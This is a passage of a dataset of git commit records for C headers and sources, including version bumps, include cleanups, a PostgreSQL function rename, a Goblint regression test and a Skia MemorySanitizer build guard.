business.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"24049967c5cc379e34a8e1cd714d472949464300","old_file":"UIforETW\/Version.h","new_file":"UIforETW\/Version.h","old_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.50f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n#define VERSION_SUFFIX 'b'\r\n","new_contents":"#pragma once\r\n\r\n\/\/ const float in a header file can lead to duplication of the storage\r\n\/\/ but I don't really care in this case. Just don't do it with a header\r\n\/\/ that is included hundreds of times.\r\nconst float kCurrentVersion = 1.51f;\r\n\r\n\/\/ Put a \"#define VERSION_SUFFIX 'b'\" line here to add a minor version\r\n\/\/ increment that won't trigger the new-version checks, handy for minor\r\n\/\/ releases that I don't want to bother users about.\r\n\/\/#define VERSION_SUFFIX 'b'\r\n","subject":"Increment version number from 1.50b to 1.51","message":"Increment version number from 1.50b to 1.51\n","lang":"C","license":"apache-2.0","repos":"ariccio\/UIforETW,ariccio\/UIforETW,google\/UIforETW,ariccio\/UIforETW,google\/UIforETW,google\/UIforETW,ariccio\/UIforETW,google\/UIforETW"}
{"commit":"653b614d7cd51871fa3f63bbbab9e05b83ba0437","old_file":"Nimble\/Nimble.h","new_file":"Nimble\/Nimble.h","old_contents":"#import <Foundation\/Foundation.h>\n\nFOUNDATION_EXPORT double NimbleVersionNumber;\nFOUNDATION_EXPORT const unsigned char NimbleVersionString[];\n","new_contents":"#import <Foundation\/Foundation.h>\n#import <Nimble\/NMBExceptionCapture.h>\n#import <Nimble\/DSL.h>\n\nFOUNDATION_EXPORT double NimbleVersionNumber;\nFOUNDATION_EXPORT const unsigned char NimbleVersionString[];\n","subject":"Revert \"Remove public headers from umbrella header\"","message":"Revert \"Remove public headers from umbrella header\"\n\nThis reverts commit 7ab1093ffdf6adb66df1bf0799cfdbf34f136521.\n","lang":"C","license":"apache-2.0","repos":"AnthonyMDev\/Nimble,DanielAsher\/Nimble,mishimay\/Nimble,mishimay\/Nimble,jeffh\/Nimble,DanielAsher\/Nimble,AnthonyMDev\/Nimble,phatblat\/Nimble,abbeycode\/Nimble,DanielAsher\/Nimble,phatblat\/Nimble,dgdosen\/Nimble,twobitlabs\/Nimble,abbeycode\/Nimble,feinstruktur\/Nimble,twobitlabs\/Nimble,feinstruktur\/Nimble,twobitlabs\/Nimble,dgdosen\/Nimble,mishimay\/Nimble,phatblat\/Nimble,jeffh\/Nimble,dgdosen\/Nimble,abbeycode\/Nimble,Quick\/Nimble,ashfurrow\/Nimble,jeffh\/Nimble,AnthonyMDev\/Nimble,ashfurrow\/Nimble,ashfurrow\/Nimble,dgdosen\/Nimble,Quick\/Nimble,abbeycode\/Nimble,jeffh\/Nimble,feinstruktur\/Nimble,Quick\/Nimble"}
{"commit":"6f470d631baf6f5a9d30e49ef67593a12e7d7faa","old_file":"adm\/cmake\/TKernel\/Precompiled.h","new_file":"adm\/cmake\/TKernel\/Precompiled.h","old_contents":"#pragma once\n\n#include <string>\n#include <iostream>\n#include <math.h>\n\n#include \"Standard.hxx\"\n#include \"Standard_PrimitiveTypes.hxx\"\n#include \"Standard_Stream.hxx\"\n#include \"Standard_Failure.hxx\"\n#include \"Standard_Transient.hxx\"\n\n#ifdef USE_STL_STREAM\n#include <sstream>\n#else \/* USE_STL_STREAM *\/\n#ifdef WNT\n#include <strstrea.h>\n#else\n#include <strstream.h>\n#endif\n#endif\n","new_contents":"#pragma once\n\n#include <string>\n#include <iostream>\n#include <math.h>\n\n#include \"Standard.hxx\"\n#include \"Standard_PrimitiveTypes.hxx\"\n#include \"Standard_Stream.hxx\"\n#include \"Standard_Failure.hxx\"\n#include \"Standard_Transient.hxx\"\n\n","subject":"Remove obsolete includes in TKernel precompiled","message":"Remove obsolete includes in TKernel precompiled\n","lang":"C","license":"lgpl-2.1","repos":"finetjul\/oce,heartvalve\/oce,heartvalve\/oce,Tridify\/oce,BenoitPerrot\/oce,tpaviot\/oce,tpaviot\/oce,EvgeneOskin\/oce,EvgeneOskin\/oce,finetjul\/oce,heartvalve\/oce,finetjul\/oce,finetjul\/oce,Tridify\/oce,EvgeneOskin\/oce,Tridify\/oce,BenoitPerrot\/oce,BenoitPerrot\/oce,finetjul\/oce,Tridify\/oce,tpaviot\/oce,tpaviot\/oce,heartvalve\/oce,Tridify\/oce,heartvalve\/oce,EvgeneOskin\/oce,BenoitPerrot\/oce,EvgeneOskin\/oce,BenoitPerrot\/oce,tpaviot\/oce"}
{"commit":"3da07a7bd126f9f2344c14858b61dcabbd2cf101","old_file":"IntelFrameworkModulePkg\/Include\/Guid\/DataHubProducer.h","new_file":"IntelFrameworkModulePkg\/Include\/Guid\/DataHubProducer.h","old_contents":"","new_contents":"\/** @file\r\n  DataHubProducer.h include all GUID definition for producer\r\n\r\n  Copyright (c) 2007, Intel Corporation\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n  Module Name:\r\n\r\n  @par Revision Reference:\r\n  These GUID are from Cache subclass spec 0.9, DataHub SubClass spec 0.9, Memory SubClass Spec 0.9,\r\n  Processor Subclass spec 0.9, Misc SubClass spec 0.9.\r\n\r\n**\/\r\n\r\n#ifndef _DATAHUB_PRODUCER_H_\r\n#define _DATAHUB_PRODUCER_H_\r\n\r\n#define EFI_PROCESSOR_PRODUCER_GUID \\\r\n  { 0x1bf06aea, 0x5bec, 0x4a8d, {0x95, 0x76, 0x74, 0x9b, 0x09, 0x56, 0x2d, 0x30 } }\r\n\r\nextern  EFI_GUID gEfiProcessorProducerGuid;\r\n\r\n#define EFI_MEMORY_PRODUCER_GUID \\\r\n  { 0x1d7add6e, 0xb2da, 0x4b0b, {0xb2, 0x9f, 0x49, 0xcb, 0x42, 0xf4, 0x63, 0x56 } }\r\n\r\nextern  EFI_GUID gEfiMemoryProducerGuid;\r\n\r\n#define EFI_MISC_PRODUCER_GUID \\\r\n  { 0x62512c92, 0x63c4, 0x4d80, {0x82, 0xb1, 0xc1, 0xa4, 0xdc, 0x44, 0x80, 0xe5 } }\r\n\r\nextern  EFI_GUID gEfiMiscProducerGuid;\r\n\r\n\r\n#endif","subject":"Move some datahub producer GUID from IntelFrameworkPkg to IntelFrameworkModulePkg.","message":"Move some datahub producer GUID from IntelFrameworkPkg to IntelFrameworkModulePkg.\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@3654 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"5b8d378c0bc0da49812eb880e40f6de5844d7d70","old_file":"Sources\/Core\/Transformer\/OCATransformer.h","new_file":"Sources\/Core\/Transformer\/OCATransformer.h","old_contents":"\/\/\n\/\/  OCATransformer.h\n\/\/  Objective-Chain\n\/\/\n\/\/  Created by Martin Kiss on 31.12.13.\n\/\/  Copyright © 2014 Martin Kiss. All rights reserved.\n\/\/\n\n\n\n#import \"OCATransformer+Base.h\"\n#import \"OCATransformer+Nil.h\"\n#import \"OCATransformer+Predefined.h\"\n\n\n","new_contents":"\/\/\n\/\/  OCATransformer.h\n\/\/  Objective-Chain\n\/\/\n\/\/  Created by Martin Kiss on 31.12.13.\n\/\/  Copyright © 2014 Martin Kiss. All rights reserved.\n\/\/\n\n\n\n#import \"OCATransformer+Base.h\"\n#import \"OCATransformer+Predefined.h\"\n\n\n","subject":"Fix import of removed file","message":"Fix import of removed file\n","lang":"C","license":"mit","repos":"iMartinKiss\/Objective-Chain,Tricertops\/Objective-Chain"}
{"commit":"a39acef2a0cad730bfa8317dc98c733212b2afb0","old_file":"include\/libk\/kmem.h","new_file":"include\/libk\/kmem.h","old_contents":"#ifndef KMEM_H\n#define KMEM_H\n#include <stdbool.h>\n#include <stdint.h>\n#include <arch\/x86\/paging.h>\n#include <libk\/kabort.h>\n\n#define KHEAP_PHYS_ROOT ((void*)0x100000)\n\/\/#define KHEAP_PHYS_END  ((void*)0xc1000000)\n#define KHEAP_END_SENTINEL (NULL)\n\n#define KHEAP_BLOCK_SLOP 32\n\n\nstruct kheap_metadata {\n    size_t size;\n    struct kheap_metadata *next;\n    bool is_free;\n};\n\n\nstruct kheap_metadata *root;\n\nstruct kheap_metadata *kheap_init();\n\nint kheap_extend();\nvoid kheap_install(struct kheap_metadata *root, size_t initial_heap_size);\nvoid *kmalloc(size_t bytes);\nvoid kfree(void *mem);\nvoid kheap_defragment();\n#endif\n","new_contents":"#ifndef KMEM_H\n#define KMEM_H\n#include <stdbool.h>\n#include <stdint.h>\n#include <arch\/x86\/paging.h>\n#include <arch\/x86\/memlayout.h>\n#include <libk\/kabort.h>\n\n\n\/\/ KHEAP_PHYS_ROOT is defined in memlayout.h because it is architecture\n\/\/ specific.\n#define KHEAP_END_SENTINEL (NULL)\n\n#define KHEAP_BLOCK_SLOP 32\n\n\nstruct kheap_metadata {\n    size_t size;\n    struct kheap_metadata *next;\n    bool is_free;\n};\n\n\nstruct kheap_metadata *root;\n\nstruct kheap_metadata *kheap_init();\n\nint kheap_extend();\nvoid kheap_install(struct kheap_metadata *root, size_t initial_heap_size);\nvoid *kmalloc(size_t bytes);\nvoid kfree(void *mem);\nvoid kheap_defragment();\n#endif\n","subject":"Move KHEAP macros into memlayout.h","message":"Move KHEAP macros into memlayout.h\n\nWe should try to make this file architecture agnostic\n","lang":"C","license":"mit","repos":"iankronquist\/kernel-of-truth,iankronquist\/kernel-of-truth,Herbstein\/kernel-of-truth,awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth,Herbstein\/kernel-of-truth,awensaunders\/kernel-of-truth,Herbstein\/kernel-of-truth,iankronquist\/kernel-of-truth,awensaunders\/kernel-of-truth,iankronquist\/kernel-of-truth"}
{"commit":"94123219bfd5f9e688764a2125d36f206bf89704","old_file":"src\/include\/libpq\/be-fsstubs.h","new_file":"src\/include\/libpq\/be-fsstubs.h","old_contents":"\/*-------------------------------------------------------------------------\n *\n * be-fsstubs.h--\n *    \n *\n *\n * Copyright (c) 1994, Regents of the University of California\n *\n * $Id: be-fsstubs.h,v 1.1 1996\/08\/28 07:22:56 scrappy Exp $\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef\tBE_FSSTUBS_H\n#define\tBE_FSSTUBS_H\n\nextern Oid lo_import(text *filename);\nextern int4 lo_export(Oid lobjId, text *filename);\n\nextern Oid lo_creat(int mode);\n\nextern int lo_open(Oid lobjId, int mode);\nextern int lo_close(int fd);\nextern int lo_read(int fd, char *buf, int len);\nextern int lo_write(int fd, char *buf, int len);\nextern int lo_lseek(int fd, int offset, int whence);\nextern int lo_tell(int fd);\nextern int lo_unlink(Oid lobjId);\n\nextern struct varlena *LOread(int fd, int len);\nextern int LOwrite(int fd, struct varlena *wbuf);\n     \n#endif\t\/* BE_FSSTUBS_H *\/\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n * be-fsstubs.h--\n *    \n *\n *\n * Copyright (c) 1994, Regents of the University of California\n *\n * $Id: be-fsstubs.h,v 1.2 1997\/05\/06 07:14:34 thomas Exp $\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef\tBE_FSSTUBS_H\n#define\tBE_FSSTUBS_H\n\n\/* Redefine names LOread() and LOwrite() to be lowercase to allow calling\n *  using the new v6.1 case-insensitive SQL parser. Define macros to allow\n *  the existing code to stay the same. - tgl 97\/05\/03\n *\/\n\n#define LOread(f,l) loread(f,l)\n#define LOwrite(f,b) lowrite(f,b)\n\nextern Oid lo_import(text *filename);\nextern int4 lo_export(Oid lobjId, text *filename);\n\nextern Oid lo_creat(int mode);\n\nextern int lo_open(Oid lobjId, int mode);\nextern int lo_close(int fd);\nextern int lo_read(int fd, char *buf, int len);\nextern int lo_write(int fd, char *buf, int len);\nextern int lo_lseek(int fd, int offset, int whence);\nextern int lo_tell(int fd);\nextern int lo_unlink(Oid lobjId);\n\nextern struct varlena *loread(int fd, int len);\nextern int lowrite(int fd, struct varlena *wbuf);\n\n#endif\t\/* BE_FSSTUBS_H *\/\n","subject":"Rename LOread() and LOwrite() to be lower case to allow use in case-insensitive SQL. Define LOread() and LOwrite() as macros to avoid having to update calls everywhere.","message":"Rename LOread() and LOwrite() to be lower case to allow use\n in case-insensitive SQL. Define LOread() and LOwrite() as macros\n to avoid having to update calls everywhere.\n","lang":"C","license":"mpl-2.0","repos":"kmjungersen\/PostgresXL,Quikling\/gpdb,xuegang\/gpdb,cjcjameson\/gpdb,Chibin\/gpdb,cjcjameson\/gpdb,0x0FFF\/gpdb,royc1\/gpdb,randomtask1155\/gpdb,0x0FFF\/gpdb,zeroae\/postgres-xl,janebeckman\/gpdb,50wu\/gpdb,jmcatamney\/gpdb,edespino\/gpdb,randomtask1155\/gpdb,rvs\/gpdb,royc1\/gpdb,0x0FFF\/gpdb,randomtask1155\/gpdb,lintzc\/gpdb,postmind-net\/postgres-xl,rvs\/gpdb,zeroae\/postgres-xl,xinzweb\/gpdb,tpostgres-projects\/tPostgres,CraigHarris\/gpdb,janebeckman\/gpdb,foyzur\/gpdb,rubikloud\/gpdb,atris\/gpdb,kmjungersen\/PostgresXL,zaksoup\/gpdb,ashwinstar\/gpdb,tangp3\/gpdb,pavanvd\/postgres-xl,foyzur\/gpdb,tpostgres-projects\/tPostgres,jmcatamney\/gpdb,kaknikhil\/gpdb,lisakowen\/gpdb,janebeckman\/gpdb,foyzur\/gpdb,Chibin\/gpdb,chrishajas\/gpdb,jmcatamney\/gpdb,rvs\/gpdb,zaksoup\/gpdb,royc1\/gpdb,jmcatamney\/gpdb,rvs\/gpdb,Quikling\/gpdb,jmcatamney\/gpdb,ovr\/postgres-xl,Quikling\/gpdb,CraigHarris\/gpdb,chrishajas\/gpdb,yazun\/postgres-xl,Postgres-XL\/Postgres-XL,zeroae\/postgres-xl,janebeckman\/gpdb,janebeckman\/gpdb,lpetrov-pivotal\/gpdb,lpetrov-pivotal\/gpdb,postmind-net\/postgres-xl,ahachete\/gpdb,atris\/gpdb,rubikloud\/gpdb,lintzc\/gpdb,techdragon\/Postgres-XL,kmjungersen\/PostgresXL,randomtask1155\/gpdb,yazun\/postgres-xl,edespino\/gpdb,kaknikhil\/gpdb,xinzweb\/gpdb,lpetrov-pivotal\/gpdb,rvs\/gpdb,Chibin\/gpdb,ashwinstar\/gpdb,Chibin\/gpdb,kaknikhil\/gpdb,kaknikhil\/gpdb,zeroae\/postgres-xl,lintzc\/gpdb,tpostgres-projects\/tPostgres,ashwinstar\/gpdb,lpetrov-pivotal\/gpdb,atris\/gpdb,50wu\/gpdb,cjcjameson\/gpdb,greenplum-db\/gpdb,royc1\/gpdb,foyzur\/gpdb,ahachete\/gpdb,chrishajas\/gpdb,Quikling\/gpdb,rubikloud\/gpdb,chrishajas\/gpdb,yuanzhao\/gpdb,CraigHarris\/gpdb,Chibin\/gpdb,edespino\/gpdb,greenplum-db\/gpdb,techdragon\/Postgres-XL,oberstet\/postgres-xl,zaksoup\/gpdb,edespino\/gpdb,ovr\/postgres-xl,tangp3\/gpdb,Quikling\/gpdb,chrishajas\/gpdb,tangp3\/gpdb,50wu\/gpdb,atris\/gpdb,CraigHarris\/gpdb,postmind-net\/postgres-xl,chrishajas\/gpdb,yazun\/postgres-xl,adam8157\/gpdb,yuanzhao\/gpdb,tpostgres-projects\/tPostgres,lintzc\/gpdb,Chibin\/gpdb,rvs\/gpdb,zaksoup\/gpdb,lisakowen\/gpdb,50wu\/gpdb,janebeckman\/gpdb,yuanzhao\/gpdb,jmcatamney\/gpdb,cjcjameson\/gpdb,rubikloud\/gpdb,ahachete\/gpdb,50wu\/gpdb,royc1\/gpdb,xuegang\/gpdb,snaga\/postgres-xl,ashwinstar\/gpdb,chrishajas\/gpdb,adam8157\/gpdb,kmjungersen\/PostgresXL,0x0FFF\/gpdb,foyzur\/gpdb,rvs\/gpdb,pavanvd\/postgres-xl,Quikling\/gpdb,arcivanov\/postgres-xl,ashwinstar\/gpdb,edespino\/gpdb,adam8157\/gpdb,zeroae\/postgres-xl,cjcjameson\/gpdb,edespino\/gpdb,lisakowen\/gpdb,atris\/gpdb,snaga\/postgres-xl,yuanzhao\/gpdb,CraigHarris\/gpdb,zaksoup\/gpdb,ashwinstar\/gpdb,lintzc\/gpdb,rvs\/gpdb,kaknikhil\/gpdb,cjcjameson\/gpdb,atris\/gpdb,kaknikhil\/gpdb,techdragon\/Postgres-XL,jmcatamney\/gpdb,adam8157\/gpdb,xuegang\/gpdb,royc1\/gpdb,rubikloud\/gpdb,ashwinstar\/gpdb,lpetrov-pivotal\/gpdb,edespino\/gpdb,rubikloud\/gpdb,foyzur\/gpdb,0x0FFF\/gpdb,arcivanov\/postgres-xl,atris\/gpdb,xinzweb\/gpdb,kaknikhil\/gpdb,adam8157\/gpdb,Chibin\/gpdb,cjcjameson\/gpdb,tpostgres-projects\/tPostgres,ahachete\/gpdb,greenplum-db\/gpdb,yazun\/postgres-xl,Quikling\/gpdb,postmind-net\/postgres-xl,randomtask1155\/gpdb,zaksoup\/gpdb,ahachete\/gpdb,postmind-net\/postgres-xl,pavanvd\/postgres-xl,lisakowen\/gpdb,foyzur\/gpdb,pavanvd\/postgres-xl,Chibin\/gpdb,janebeckman\/gpdb,greenplum-db\/gpdb,greenplum-db\/gpdb,0x0FFF\/gpdb,oberstet\/postgres-xl,greenplum-db\/gpdb,Chibin\/gpdb,lisakowen\/gpdb,50wu\/gpdb,rvs\/gpdb,randomtask1155\/gpdb,chrishajas\/gpdb,rvs\/gpdb,edespino\/gpdb,xinzweb\/gpdb,cjcjameson\/gpdb,ahachete\/gpdb,CraigHarris\/gpdb,cjcjameson\/gpdb,lintzc\/gpdb,snaga\/postgres-xl,lintzc\/gpdb,janebeckman\/gpdb,cjcjameson\/gpdb,techdragon\/Postgres-XL,CraigHarris\/gpdb,arcivanov\/postgres-xl,royc1\/gpdb,oberstet\/postgres-xl,ahachete\/gpdb,yuanzhao\/gpdb,greenplum-db\/gpdb,edespino\/gpdb,yazun\/postgres-xl,rubikloud\/gpdb,oberstet\/postgres-xl,yuanzhao\/gpdb,adam8157\/gpdb,kaknikhil\/gpdb,snaga\/postgres-xl,CraigHarris\/gpdb,edespino\/gpdb,atris\/gpdb,lisakowen\/gpdb,0x0FFF\/gpdb,Quikling\/gpdb,ashwinstar\/gpdb,lpetrov-pivotal\/gpdb,xinzweb\/gpdb,Quikling\/gpdb,randomtask1155\/gpdb,lintzc\/gpdb,yuanzhao\/gpdb,kaknikhil\/gpdb,ovr\/postgres-xl,xuegang\/gpdb,janebeckman\/gpdb,lpetrov-pivotal\/gpdb,tangp3\/gpdb,ahachete\/gpdb,kaknikhil\/gpdb,Chibin\/gpdb,lpetrov-pivotal\/gpdb,rubikloud\/gpdb,Postgres-XL\/Postgres-XL,yuanzhao\/gpdb,xinzweb\/gpdb,ovr\/postgres-xl,pavanvd\/postgres-xl,adam8157\/gpdb,yuanzhao\/gpdb,ovr\/postgres-xl,oberstet\/postgres-xl,xuegang\/gpdb,arcivanov\/postgres-xl,snaga\/postgres-xl,xinzweb\/gpdb,lintzc\/gpdb,arcivanov\/postgres-xl,arcivanov\/postgres-xl,jmcatamney\/gpdb,xuegang\/gpdb,Postgres-XL\/Postgres-XL,randomtask1155\/gpdb,50wu\/gpdb,zaksoup\/gpdb,zaksoup\/gpdb,Quikling\/gpdb,Postgres-XL\/Postgres-XL,xuegang\/gpdb,50wu\/gpdb,tangp3\/gpdb,techdragon\/Postgres-XL,xuegang\/gpdb,xuegang\/gpdb,foyzur\/gpdb,lisakowen\/gpdb,tangp3\/gpdb,tangp3\/gpdb,kmjungersen\/PostgresXL,royc1\/gpdb,CraigHarris\/gpdb,0x0FFF\/gpdb,adam8157\/gpdb,Postgres-XL\/Postgres-XL,xinzweb\/gpdb,janebeckman\/gpdb,lisakowen\/gpdb,greenplum-db\/gpdb,yuanzhao\/gpdb,tangp3\/gpdb"}
{"commit":"ebd65d48956d3a55fa5281f4cf5b5ee14172aae0","old_file":"tests\/regression\/02-base\/88-strings.c","new_file":"tests\/regression\/02-base\/88-strings.c","old_contents":"#include <assert.h>\n#include <stdlib.h>\n\nint main(){\n    char* str = \"Hello\";\n    char* str2 = \"Hello\";\n    char* str3 = \"hi\";\n    char* str4 = \"other string\";\n\n    \/\/ Unknown since the there may be multiple copies of the same string\n    __goblint_check(str != str2); \/\/ UNKNOWN!\n\n    __goblint_check(str == str);\n    __goblint_check(str != str3);\n\n    char *ptr = NULL;\n    int top = rand();\n\n    if(top){\n        ptr = str2;\n    } else {\n        ptr = str3;\n    }\n    __goblint_check(*ptr == *str); \/\/UNKNOWN\n\n    \/\/ This is unknwon due to only keeping one string pointer in abstract address sets\n    __goblint_check(*ptr == *str4); \/\/UNKNOWN\n\n\n    return 0;\n}\n","new_contents":"#include <assert.h>\n#include <stdlib.h>\n\nint main(){\n    char* str = \"Hello\";\n    char* str2 = \"Hello\";\n    char* str3 = \"hi\";\n    char* str4 = \"other string\";\n\n    \/\/ Unknown since the there may be multiple copies of the same string\n    __goblint_check(str != str2); \/\/ UNKNOWN!\n\n    __goblint_check(str == str);\n    __goblint_check(str != str3);\n\n    char *ptr = NULL;\n    int top = rand();\n\n    if(top){\n        ptr = str2;\n    } else {\n        ptr = str3;\n    }\n    __goblint_check(*ptr == *str); \/\/UNKNOWN\n\n    \/\/ This is unknwon due to only keeping one string pointer in abstract address sets\n    __goblint_check(*ptr == *str4); \/\/UNKNOWN\n\n    char *ptr2 = unknown_function(); \n\n    __goblint_check(ptr == ptr2); \/\/UNKNOWN\n    __goblint_check(ptr2 == str); \/\/UNKNOWN\n\n    return 0;\n}\n","subject":"Add checks to regression tests that unknown pointers and string pointers may be equal","message":"Add checks to regression tests that unknown pointers and string pointers may be equal\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"6a7fdeffa49b5c52c8d3aadd09838eb028aa16ef","old_file":"src\/opts\/SkBlitRow_opts_SSE4.h","new_file":"src\/opts\/SkBlitRow_opts_SSE4.h","old_contents":"\/*\n * Copyright 2014 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkBlitRow_opts_SSE4_DEFINED\n#define SkBlitRow_opts_SSE4_DEFINED\n\n#include \"SkBlitRow.h\"\n\n\/* Check if we are able to build assembly code, GCC\/AT&T syntax.\n * Had problems with LLVM-GCC 4.2.\n *\/\n#if defined(__clang__) || (defined(__GNUC__) && !defined(SK_BUILD_FOR_MAC))\nextern \"C\" void S32A_Opaque_BlitRow32_SSE4_asm(SkPMColor* SK_RESTRICT dst,\n                                               const SkPMColor* SK_RESTRICT src,\n                                               int count, U8CPU alpha);\n\n#define SK_ATT_ASM_SUPPORTED\n#endif\n\n#endif\n\n","new_contents":"\/*\n * Copyright 2014 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkBlitRow_opts_SSE4_DEFINED\n#define SkBlitRow_opts_SSE4_DEFINED\n\n#include \"SkBlitRow.h\"\n\n\/* Check if we are able to build assembly code, GCC\/AT&T syntax.\n * Had problems with LLVM-GCC 4.2.\n * MemorySanitizer cannot handle assembly code.\n *\/\n#if (defined(__clang__) || (defined(__GNUC__) && !defined(SK_BUILD_FOR_MAC))) \\\n    && !defined(MEMORY_SANITIZER)\nextern \"C\" void S32A_Opaque_BlitRow32_SSE4_asm(SkPMColor* SK_RESTRICT dst,\n                                               const SkPMColor* SK_RESTRICT src,\n                                               int count, U8CPU alpha);\n\n#define SK_ATT_ASM_SUPPORTED\n#endif\n\n#endif\n\n","subject":"Disable assembly code in MemorySanitizer builds.","message":"Disable assembly code in MemorySanitizer builds.\n\nMemorySanitizer is an unitialized memory use detector which is used in\nChromium, and does not presently support assembly code.\n\nBUG=chromium:344505, chromium:373739\nR=mtklein@google.com\n\nReview URL: https:\/\/codereview.chromium.org\/367973005\n","lang":"C","license":"bsd-3-clause","repos":"OptiPop\/external_chromium_org_third_party_skia,HalCanary\/skia-hc,YUPlayGodDev\/platform_external_skia,PAC-ROM\/android_external_skia,invisiblek\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,scroggo\/skia,Infinitive-OS\/platform_external_skia,amyvmiwei\/skia,MyAOSP\/external_chromium_org_third_party_skia,Fusion-Rom\/external_chromium_org_third_party_skia,AOSP-YU\/platform_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,AOSP-YU\/platform_external_skia,w3nd1go\/android_external_skia,HalCanary\/skia-hc,YUPlayGodDev\/platform_external_skia,ominux\/skia,MinimalOS-AOSP\/platform_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,OneRom\/external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,Igalia\/skia,Omegaphora\/external_chromium_org_third_party_skia,TeamEOS\/external_chromium_org_third_party_skia,Jichao\/skia,invisiblek\/android_external_skia,Igalia\/skia,ominux\/skia,PAC-ROM\/android_external_skia,geekboxzone\/mmallow_external_skia,Infinitive-OS\/platform_external_skia,scroggo\/skia,scroggo\/skia,TeamEOS\/external_chromium_org_third_party_skia,spezi77\/android_external_skia,Igalia\/skia,OptiPop\/external_chromium_org_third_party_skia,OptiPop\/external_chromium_org_third_party_skia,pcwalton\/skia,VRToxin-AOSP\/android_external_skia,chenlian2015\/skia_from_google,MonkeyZZZZ\/platform_external_skia,FusionSP\/external_chromium_org_third_party_skia,DiamondLovesYou\/skia-sys,TeamExodus\/external_skia,TeamEOS\/external_chromium_org_third_party_skia,geekboxzone\/mmallow_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,tmpvar\/skia.cc,nvoron23\/skia,amyvmiwei\/skia,samuelig\/skia,Jichao\/skia,aosp-mirror\/platform_external_skia,MonkeyZZZZ\/platform_external_skia,rubenvb\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,AOSPB\/external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,spezi77\/android_external_skia,MarshedOut\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,noselhq\/skia,mydongistiny\/external_chromium_org_third_party_skia,DARKPOP\/external_chromium_org_third_party_skia,OneRom\/external_skia,PAC-ROM\/android_external_skia,geekboxzone\/mmallow_external_skia,noselhq\/skia,MyAOSP\/external_chromium_org_third_party_skia,MonkeyZZZZ\/platform_external_skia,tmpvar\/skia.cc,todotodoo\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,vanish87\/skia,UBERMALLOW\/external_skia,MinimalOS-AOSP\/platform_external_skia,TeamTwisted\/external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,aosp-mirror\/platform_external_skia,Igalia\/skia,MinimalOS-AOSP\/platform_external_skia,UBERMALLOW\/external_skia,google\/skia,TeamExodus\/external_skia,Hikari-no-Tenshi\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,jtg-gg\/skia,DARKPOP\/external_chromium_org_third_party_skia,vanish87\/skia,MIPS\/external-chromium_org-third_party-skia,samuelig\/skia,Infinitive-OS\/platform_external_skia,vanish87\/skia,timduru\/platform-external-skia,MinimalOS-AOSP\/platform_external_skia,rubenvb\/skia,OneRom\/external_skia,ench0\/external_chromium_org_third_party_skia,rubenvb\/skia,AOSP-YU\/platform_external_skia,DARKPOP\/external_chromium_org_third_party_skia,rubenvb\/skia,jtg-gg\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,Igalia\/skia,mydongistiny\/external_chromium_org_third_party_skia,spezi77\/android_external_skia,UBERMALLOW\/external_skia,HalCanary\/skia-hc,google\/skia,PAC-ROM\/android_external_skia,shahrzadmn\/skia,aosp-mirror\/platform_external_skia,AOSP-YU\/platform_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,BrokenROM\/external_skia,AOSPB\/external_skia,TeamTwisted\/external_skia,w3nd1go\/android_external_skia,TeamExodus\/external_skia,MinimalOS-AOSP\/platform_external_skia,boulzordev\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,YUPlayGodDev\/platform_external_skia,boulzordev\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,scroggo\/skia,MonkeyZZZZ\/platform_external_skia,TeamExodus\/external_skia,ench0\/external_chromium_org_third_party_skia,AOSPB\/external_skia,MarshedOut\/android_external_skia,HalCanary\/skia-hc,pcwalton\/skia,nfxosp\/platform_external_skia,ominux\/skia,timduru\/platform-external-skia,OptiPop\/external_chromium_org_third_party_skia,TeamTwisted\/external_skia,tmpvar\/skia.cc,UBERMALLOW\/external_skia,YUPlayGodDev\/platform_external_skia,FusionSP\/external_chromium_org_third_party_skia,qrealka\/skia-hc,geekboxzone\/mmallow_external_skia,Ha